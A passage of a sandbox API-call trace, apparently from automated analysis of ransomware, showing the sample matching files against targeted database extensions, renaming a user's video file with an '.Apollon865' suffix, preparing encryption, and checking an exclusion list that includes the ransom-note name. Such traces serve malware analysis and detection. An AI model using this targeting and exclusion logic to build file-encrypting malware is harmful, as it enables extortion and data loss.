	[0086.498] lstrcmpiW (lpString1="mp4", lpString2="db2") returned 1
	[0086.498] lstrlenW (lpString="db3") returned 3
	[0086.498] lstrcmpiW (lpString1="mp4", lpString2="db3") returned 1
	[0086.498] lstrlenW (lpString="dbf") returned 3
	[0086.498] lstrcmpiW (lpString1="mp4", lpString2="dbf") returned 1
	[0086.498] lstrlenW (lpString="mdf") returned 3
	[0086.498] lstrcmpiW (lpString1="mp4", lpString2="mdf") returned 1
	[0086.498] lstrlenW (lpString="mdb") returned 3
	[0086.498] lstrcmpiW (lpString1="mp4", lpString2="mdb") returned 1
	[0086.498] lstrlenW (lpString="sql") returned 3
	[0086.498] lstrcmpiW (lpString1="mp4", lpString2="sql") returned -1
	[0086.498] lstrlenW (lpString="sqlite") returned 6
	[0086.498] lstrcmpiW (lpString1="ue.mp4", lpString2="sqlite") returned 1
	[0086.498] lstrlenW (lpString="sqlite3") returned 7
	[0086.498] lstrcmpiW (lpString1="kue.mp4", lpString2="sqlite3") returned -1
	[0086.498] lstrlenW (lpString="sqlitedb") returned 8
	[0086.498] lstrcmpiW (lpString1="skue.mp4", lpString2="sqlitedb") returned -1
	[0086.498] lstrlenW (lpString="xml") returned 3
	[0086.498] lstrcmpiW (lpString1="mp4", lpString2="xml") returned -1
	[0086.498] lstrlenW (lpString="$er") returned 3
	[0086.498] lstrcmpiW (lpString1="mp4", lpString2="$er") returned 1
	[0086.499] lstrlenW (lpString="4dd") returned 3
	[0086.499] lstrcmpiW (lpString1="mp4", lpString2="4dd") returned 1
	[0086.499] lstrlenW (lpString="4dl") returned 3
	[0086.499] lstrcmpiW (lpString1="mp4", lpString2="4dl") returned 1
	[0086.499] lstrlenW (lpString="^^^") returned 3
	[0086.499] lstrcmpiW (lpString1="mp4", lpString2="^^^") returned 1
	[0086.499] lstrlenW (lpString="abs") returned 3
	[0086.499] lstrcmpiW (lpString1="mp4", lpString2="abs") returned 1
	[0086.499] lstrlenW (lpString="abx") returned 3
	[0086.499] lstrcmpiW (lpString1="mp4", lpString2="abx") returned 1
	[0086.499] lstrlenW (lpString="accdb") returned 5
	[0086.499] lstrcmpiW (lpString1="e.mp4", lpString2="accdb") returned 1
	[0086.499] lstrlenW (lpString="accdc") returned 5
	[0086.499] lstrcmpiW (lpString1="e.mp4", lpString2="accdc") returned 1
	[0086.499] lstrlenW (lpString="accde") returned 5
	[0086.499] lstrcmpiW (lpString1="e.mp4", lpString2="accde") returned 1
	[0086.499] lstrlenW (lpString="accdr") returned 5
	[0086.499] lstrcmpiW (lpString1="e.mp4", lpString2="accdr") returned 1
	[0086.499] lstrlenW (lpString="accdt") returned 5
	[0086.499] lstrcmpiW (lpString1="e.mp4", lpString2="accdt") returned 1
	[0086.499] lstrlenW (lpString="accdw") returned 5
	[0086.499] lstrcmpiW (lpString1="e.mp4", lpString2="accdw") returned 1
	[0086.499] lstrlenW (lpString="accft") returned 5
	[0086.499] lstrcmpiW (lpString1="e.mp4", lpString2="accft") returned 1
	[0086.499] lstrlenW (lpString="adb") returned 3
	[0086.499] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1
	[0086.499] lstrlenW (lpString="adb") returned 3
	[0086.499] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1
	[0086.499] lstrlenW (lpString="ade") returned 3
	[0086.499] lstrcmpiW (lpString1="mp4", lpString2="ade") returned 1
	[0086.499] lstrlenW (lpString="adf") returned 3
	[0086.499] lstrcmpiW (lpString1="mp4", lpString2="adf") returned 1
	[0086.499] lstrlenW (lpString="adn") returned 3
	[0086.499] lstrcmpiW (lpString1="mp4", lpString2="adn") returned 1
	[0086.499] lstrlenW (lpString="adp") returned 3
	[0086.499] lstrcmpiW (lpString1="mp4", lpString2="adp") returned 1
	[0086.499] lstrlenW (lpString="alf") returned 3
	[0086.499] lstrcmpiW (lpString1="mp4", lpString2="alf") returned 1
	[0086.500] lstrlenW (lpString="ask") returned 3
	[0086.500] lstrcmpiW (lpString1="mp4", lpString2="ask") returned 1
	[0086.500] lstrlenW (lpString="btr") returned 3
	[0086.500] lstrcmpiW (lpString1="mp4", lpString2="btr") returned 1
	[0086.500] lstrlenW (lpString="cat") returned 3
	[0086.500] lstrcmpiW (lpString1="mp4", lpString2="cat") returned 1
	[0086.500] lstrlenW (lpString="cdb") returned 3
	[0086.500] lstrcmpiW (lpString1="mp4", lpString2="cdb") returned 1
	[0086.500] lstrlenW (lpString="ckp") returned 3
	[0086.500] lstrcmpiW (lpString1="mp4", lpString2="ckp") returned 1
	[0086.500] lstrlenW (lpString="cma") returned 3
	[0086.500] lstrcmpiW (lpString1="mp4", lpString2="cma") returned 1
	[0086.500] lstrlenW (lpString="cpd") returned 3
	[0086.500] lstrcmpiW (lpString1="mp4", lpString2="cpd") returned 1
	[0086.500] lstrlenW (lpString="dacpac") returned 6
	[0086.500] lstrcmpiW (lpString1="ue.mp4", lpString2="dacpac") returned 1
	[0086.500] lstrlenW (lpString="dad") returned 3
	[0086.500] lstrcmpiW (lpString1="mp4", lpString2="dad") returned 1
	[0086.500] lstrlenW (lpString="dadiagrams") returned 10
	[0086.500] lstrcmpiW (lpString1="O-skue.mp4", lpString2="dadiagrams") returned 1
	[0086.500] lstrlenW (lpString="daschema") returned 8
	[0086.500] lstrcmpiW (lpString1="skue.mp4", lpString2="daschema") returned 1
	[0086.500] lstrlenW (lpString="db-journal") returned 10
	[0086.500] lstrcmpiW (lpString1="O-skue.mp4", lpString2="db-journal") returned 1
	[0086.500] lstrlenW (lpString="db-shm") returned 6
	[0086.500] lstrcmpiW (lpString1="ue.mp4", lpString2="db-shm") returned 1
	[0086.500] lstrlenW (lpString="db-wal") returned 6
	[0086.500] lstrcmpiW (lpString1="ue.mp4", lpString2="db-wal") returned 1
	[0086.500] lstrlenW (lpString="dbc") returned 3
	[0086.500] lstrcmpiW (lpString1="mp4", lpString2="dbc") returned 1
	[0086.500] lstrlenW (lpString="dbs") returned 3
	[0086.500] lstrcmpiW (lpString1="mp4", lpString2="dbs") returned 1
	[0086.500] lstrlenW (lpString="dbt") returned 3
	[0086.500] lstrcmpiW (lpString1="mp4", lpString2="dbt") returned 1
	[0086.500] lstrlenW (lpString="dbv") returned 3
	[0086.500] lstrcmpiW (lpString1="mp4", lpString2="dbv") returned 1
	[0086.500] lstrlenW (lpString="dbx") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="dbx") returned 1
	[0086.501] lstrlenW (lpString="dcb") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="dcb") returned 1
	[0086.501] lstrlenW (lpString="dct") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="dct") returned 1
	[0086.501] lstrlenW (lpString="dcx") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="dcx") returned 1
	[0086.501] lstrlenW (lpString="ddl") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="ddl") returned 1
	[0086.501] lstrlenW (lpString="dlis") returned 4
	[0086.501] lstrcmpiW (lpString1=".mp4", lpString2="dlis") returned -1
	[0086.501] lstrlenW (lpString="dp1") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="dp1") returned 1
	[0086.501] lstrlenW (lpString="dqy") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="dqy") returned 1
	[0086.501] lstrlenW (lpString="dsk") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="dsk") returned 1
	[0086.501] lstrlenW (lpString="dsn") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="dsn") returned 1
	[0086.501] lstrlenW (lpString="dtsx") returned 4
	[0086.501] lstrcmpiW (lpString1=".mp4", lpString2="dtsx") returned -1
	[0086.501] lstrlenW (lpString="dxl") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="dxl") returned 1
	[0086.501] lstrlenW (lpString="eco") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="eco") returned 1
	[0086.501] lstrlenW (lpString="ecx") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="ecx") returned 1
	[0086.501] lstrlenW (lpString="edb") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="edb") returned 1
	[0086.501] lstrlenW (lpString="epim") returned 4
	[0086.501] lstrcmpiW (lpString1=".mp4", lpString2="epim") returned -1
	[0086.501] lstrlenW (lpString="fcd") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="fcd") returned 1
	[0086.501] lstrlenW (lpString="fdb") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="fdb") returned 1
	[0086.501] lstrlenW (lpString="fic") returned 3
	[0086.501] lstrcmpiW (lpString1="mp4", lpString2="fic") returned 1
	[0086.502] lstrlenW (lpString="flexolibrary") returned 12
	[0086.502] lstrcmpiW (lpString1="UBO-skue.mp4", lpString2="flexolibrary") returned 1
	[0086.502] lstrlenW (lpString="fm5") returned 3
	[0086.502] lstrcmpiW (lpString1="mp4", lpString2="fm5") returned 1
	[0086.502] lstrlenW (lpString="fmp") returned 3
	[0086.502] lstrcmpiW (lpString1="mp4", lpString2="fmp") returned 1
	[0086.502] lstrlenW (lpString="fmp12") returned 5
	[0086.502] lstrcmpiW (lpString1="e.mp4", lpString2="fmp12") returned -1
	[0086.502] lstrlenW (lpString="fmpsl") returned 5
	[0086.502] lstrcmpiW (lpString1="e.mp4", lpString2="fmpsl") returned -1
	[0086.502] lstrlenW (lpString="fol") returned 3
	[0086.502] lstrcmpiW (lpString1="mp4", lpString2="fol") returned 1
	[0086.502] lstrlenW (lpString="fp3") returned 3
	[0086.502] lstrcmpiW (lpString1="mp4", lpString2="fp3") returned 1
	[0086.502] lstrlenW (lpString="fp4") returned 3
	[0086.502] lstrcmpiW (lpString1="mp4", lpString2="fp4") returned 1
	[0086.502] lstrlenW (lpString="fp5") returned 3
	[0086.502] lstrcmpiW (lpString1="mp4", lpString2="fp5") returned 1
	[0086.502] lstrlenW (lpString="fp7") returned 3
	[0086.502] lstrcmpiW (lpString1="mp4", lpString2="fp7") returned 1
	[0086.502] lstrlenW (lpString="fpt") returned 3
	[0086.502] lstrcmpiW (lpString1="mp4", lpString2="fpt") returned 1
	[0086.502] lstrlenW (lpString="frm") returned 3
	[0086.502] lstrcmpiW (lpString1="mp4", lpString2="frm") returned 1
	[0086.502] lstrlenW (lpString="gdb") returned 3
	[0086.502] lstrcmpiW (lpString1="mp4", lpString2="gdb") returned 1
	[0086.502] lstrlenW (lpString="gdb") returned 3
	[0086.502] lstrcmpiW (lpString1="mp4", lpString2="gdb") returned 1
	[0086.502] lstrlenW (lpString="grdb") returned 4
	[0086.502] lstrcmpiW (lpString1=".mp4", lpString2="grdb") returned -1
	[0086.502] lstrlenW (lpString="gwi") returned 3
	[0086.502] lstrcmpiW (lpString1="mp4", lpString2="gwi") returned 1
	[0086.502] lstrlenW (lpString="hdb") returned 3
	[0086.502] lstrcmpiW (lpString1="mp4", lpString2="hdb") returned 1
	[0086.503] lstrlenW (lpString="his") returned 3
	[0086.503] lstrcmpiW (lpString1="mp4", lpString2="his") returned 1
	[0086.503] lstrlenW (lpString="ib") returned 2
	[0086.503] lstrcmpiW (lpString1="p4", lpString2="ib") returned 1
	[0086.503] lstrlenW (lpString="idb") returned 3
	[0086.503] lstrcmpiW (lpString1="mp4", lpString2="idb") returned 1
	[0086.503] lstrlenW (lpString="ihx") returned 3
	[0086.503] lstrcmpiW (lpString1="mp4", lpString2="ihx") returned 1
	[0086.503] lstrlenW (lpString="itdb") returned 4
	[0086.503] lstrcmpiW (lpString1=".mp4", lpString2="itdb") returned -1
	[0086.503] lstrlenW (lpString="itw") returned 3
	[0086.503] lstrcmpiW (lpString1="mp4", lpString2="itw") returned 1
	[0086.503] lstrlenW (lpString="jet") returned 3
	[0086.503] lstrcmpiW (lpString1="mp4", lpString2="jet") returned 1
	[0086.503] lstrlenW (lpString="jtx") returned 3
	[0086.503] lstrcmpiW (lpString1="mp4", lpString2="jtx") returned 1
	[0086.503] lstrlenW (lpString="kdb") returned 3
	[0086.503] lstrcmpiW (lpString1="mp4", lpString2="kdb") returned 1
	[0086.503] lstrlenW (lpString="kexi") returned 4
	[0086.503] lstrcmpiW (lpString1=".mp4", lpString2="kexi") returned -1
	[0086.503] lstrlenW (lpString="kexic") returned 5
	[0086.503] lstrcmpiW (lpString1="e.mp4", lpString2="kexic") returned -1
	[0086.503] lstrlenW (lpString="kexis") returned 5
	[0086.503] lstrcmpiW (lpString1="e.mp4", lpString2="kexis") returned -1
	[0086.503] lstrlenW (lpString="lgc") returned 3
	[0086.503] lstrcmpiW (lpString1="mp4", lpString2="lgc") returned 1
	[0086.503] lstrlenW (lpString="lwx") returned 3
	[0086.503] lstrcmpiW (lpString1="mp4", lpString2="lwx") returned 1
	[0086.503] lstrlenW (lpString="maf") returned 3
	[0086.503] lstrcmpiW (lpString1="mp4", lpString2="maf") returned 1
	[0086.503] lstrlenW (lpString="maq") returned 3
	[0086.503] lstrcmpiW (lpString1="mp4", lpString2="maq") returned 1
	[0086.503] lstrlenW (lpString="mar") returned 3
	[0086.503] lstrcmpiW (lpString1="mp4", lpString2="mar") returned 1
	[0086.504] lstrlenW (lpString="marshal") returned 7
	[0086.504] lstrcmpiW (lpString1="kue.mp4", lpString2="marshal") returned -1
	[0086.504] lstrlenW (lpString="mas") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="mas") returned 1
	[0086.504] lstrlenW (lpString="mav") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="mav") returned 1
	[0086.504] lstrlenW (lpString="maw") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="maw") returned 1
	[0086.504] lstrlenW (lpString="mdbhtml") returned 7
	[0086.504] lstrcmpiW (lpString1="kue.mp4", lpString2="mdbhtml") returned -1
	[0086.504] lstrlenW (lpString="mdn") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="mdn") returned 1
	[0086.504] lstrlenW (lpString="mdt") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="mdt") returned 1
	[0086.504] lstrlenW (lpString="mfd") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="mfd") returned 1
	[0086.504] lstrlenW (lpString="mpd") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="mpd") returned -1
	[0086.504] lstrlenW (lpString="mrg") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="mrg") returned -1
	[0086.504] lstrlenW (lpString="mud") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="mud") returned -1
	[0086.504] lstrlenW (lpString="mwb") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="mwb") returned -1
	[0086.504] lstrlenW (lpString="myd") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="myd") returned -1
	[0086.504] lstrlenW (lpString="ndf") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="ndf") returned -1
	[0086.504] lstrlenW (lpString="nnt") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="nnt") returned -1
	[0086.504] lstrlenW (lpString="nrmlib") returned 6
	[0086.504] lstrcmpiW (lpString1="ue.mp4", lpString2="nrmlib") returned 1
	[0086.504] lstrlenW (lpString="ns2") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="ns2") returned -1
	[0086.504] lstrlenW (lpString="ns3") returned 3
	[0086.504] lstrcmpiW (lpString1="mp4", lpString2="ns3") returned -1
	[0086.504] lstrlenW (lpString="ns4") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="ns4") returned -1
	[0086.505] lstrlenW (lpString="nsf") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="nsf") returned -1
	[0086.505] lstrlenW (lpString="nv") returned 2
	[0086.505] lstrcmpiW (lpString1="p4", lpString2="nv") returned 1
	[0086.505] lstrlenW (lpString="nv2") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="nv2") returned -1
	[0086.505] lstrlenW (lpString="nwdb") returned 4
	[0086.505] lstrcmpiW (lpString1=".mp4", lpString2="nwdb") returned -1
	[0086.505] lstrlenW (lpString="nyf") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="nyf") returned -1
	[0086.505] lstrlenW (lpString="odb") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="odb") returned -1
	[0086.505] lstrlenW (lpString="odb") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="odb") returned -1
	[0086.505] lstrlenW (lpString="oqy") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="oqy") returned -1
	[0086.505] lstrlenW (lpString="ora") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="ora") returned -1
	[0086.505] lstrlenW (lpString="orx") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="orx") returned -1
	[0086.505] lstrlenW (lpString="owc") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="owc") returned -1
	[0086.505] lstrlenW (lpString="p96") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="p96") returned -1
	[0086.505] lstrlenW (lpString="p97") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="p97") returned -1
	[0086.505] lstrlenW (lpString="pan") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="pan") returned -1
	[0086.505] lstrlenW (lpString="pdb") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="pdb") returned -1
	[0086.505] lstrlenW (lpString="pdm") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="pdm") returned -1
	[0086.505] lstrlenW (lpString="pnz") returned 3
	[0086.505] lstrcmpiW (lpString1="mp4", lpString2="pnz") returned -1
	[0086.505] lstrlenW (lpString="qry") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="qry") returned -1
	[0086.506] lstrlenW (lpString="qvd") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="qvd") returned -1
	[0086.506] lstrlenW (lpString="rbf") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="rbf") returned -1
	[0086.506] lstrlenW (lpString="rctd") returned 4
	[0086.506] lstrcmpiW (lpString1=".mp4", lpString2="rctd") returned -1
	[0086.506] lstrlenW (lpString="rod") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="rod") returned -1
	[0086.506] lstrlenW (lpString="rodx") returned 4
	[0086.506] lstrcmpiW (lpString1=".mp4", lpString2="rodx") returned -1
	[0086.506] lstrlenW (lpString="rpd") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="rpd") returned -1
	[0086.506] lstrlenW (lpString="rsd") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="rsd") returned -1
	[0086.506] lstrlenW (lpString="sas7bdat") returned 8
	[0086.506] lstrcmpiW (lpString1="skue.mp4", lpString2="sas7bdat") returned 1
	[0086.506] lstrlenW (lpString="sbf") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="sbf") returned -1
	[0086.506] lstrlenW (lpString="scx") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="scx") returned -1
	[0086.506] lstrlenW (lpString="sdb") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="sdb") returned -1
	[0086.506] lstrlenW (lpString="sdc") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="sdc") returned -1
	[0086.506] lstrlenW (lpString="sdf") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="sdf") returned -1
	[0086.506] lstrlenW (lpString="sis") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="sis") returned -1
	[0086.506] lstrlenW (lpString="spq") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="spq") returned -1
	[0086.506] lstrlenW (lpString="te") returned 2
	[0086.506] lstrcmpiW (lpString1="p4", lpString2="te") returned -1
	[0086.506] lstrlenW (lpString="teacher") returned 7
	[0086.506] lstrcmpiW (lpString1="kue.mp4", lpString2="teacher") returned -1
	[0086.506] lstrlenW (lpString="tmd") returned 3
	[0086.506] lstrcmpiW (lpString1="mp4", lpString2="tmd") returned -1
	[0086.507] lstrlenW (lpString="tps") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="tps") returned -1
	[0086.507] lstrlenW (lpString="trc") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="trc") returned -1
	[0086.507] lstrlenW (lpString="trc") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="trc") returned -1
	[0086.507] lstrlenW (lpString="trm") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="trm") returned -1
	[0086.507] lstrlenW (lpString="udb") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="udb") returned -1
	[0086.507] lstrlenW (lpString="udl") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="udl") returned -1
	[0086.507] lstrlenW (lpString="usr") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="usr") returned -1
	[0086.507] lstrlenW (lpString="v12") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="v12") returned -1
	[0086.507] lstrlenW (lpString="vis") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="vis") returned -1
	[0086.507] lstrlenW (lpString="vpd") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="vpd") returned -1
	[0086.507] lstrlenW (lpString="vvv") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="vvv") returned -1
	[0086.507] lstrlenW (lpString="wdb") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="wdb") returned -1
	[0086.507] lstrlenW (lpString="wmdb") returned 4
	[0086.507] lstrcmpiW (lpString1=".mp4", lpString2="wmdb") returned -1
	[0086.507] lstrlenW (lpString="wrk") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="wrk") returned -1
	[0086.507] lstrlenW (lpString="xdb") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="xdb") returned -1
	[0086.507] lstrlenW (lpString="xld") returned 3
	[0086.507] lstrcmpiW (lpString1="mp4", lpString2="xld") returned -1
	[0086.507] lstrlenW (lpString="xmlff") returned 5
	[0086.507] lstrcmpiW (lpString1="e.mp4", lpString2="xmlff") returned -1
	[0086.507] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\obFUBO-skue.mp4.Apollon865") returned 94
	[0086.507] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\obFUBO-skue.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\obfubo-skue.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\obFUBO-skue.mp4.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\obfubo-skue.mp4.apollon865"), dwFlags=0x1) returned 1
	[0086.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\obFUBO-skue.mp4.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\obfubo-skue.mp4.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.509] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=66906) returned 1
	[0086.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.509] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.510] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.510] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.510] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10860, lpName=0x0) returned 0x15c
	[0086.510] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10860) returned 0x120000
	[0086.513] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.513] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.514] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.514] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.515] CloseHandle (hObject=0x15c) returned 1
	[0086.515] CloseHandle (hObject=0x9c) returned 1
	[0086.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.516] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c348510, ftCreationTime.dwHighDateTime=0x1d4c596, ftLastAccessTime.dwLowDateTime=0x80683c0, ftLastAccessTime.dwHighDateTime=0x1d4cfb2, ftLastWriteTime.dwLowDateTime=0x80683c0, ftLastWriteTime.dwHighDateTime=0x1d4cfb2, nFileSizeHigh=0x0, nFileSizeLow=0xee11, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vAoXMAlnnzvwS.swf", cAlternateFileName="VAOXMA~1.SWF")) returned 1
	[0086.516] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.516] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2="Apollon865.txt.exe") returned 1
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2=".") returned 1
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2="..") returned 1
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2="windows") returned -1
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2="bootmgr") returned 1
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2="temp") returned 1
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2="pagefile.sys") returned 1
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2="boot") returned 1
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2="ids.txt") returned 1
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2="ntuser.dat") returned 1
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2="perflogs") returned 1
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2="MSBuild") returned 1
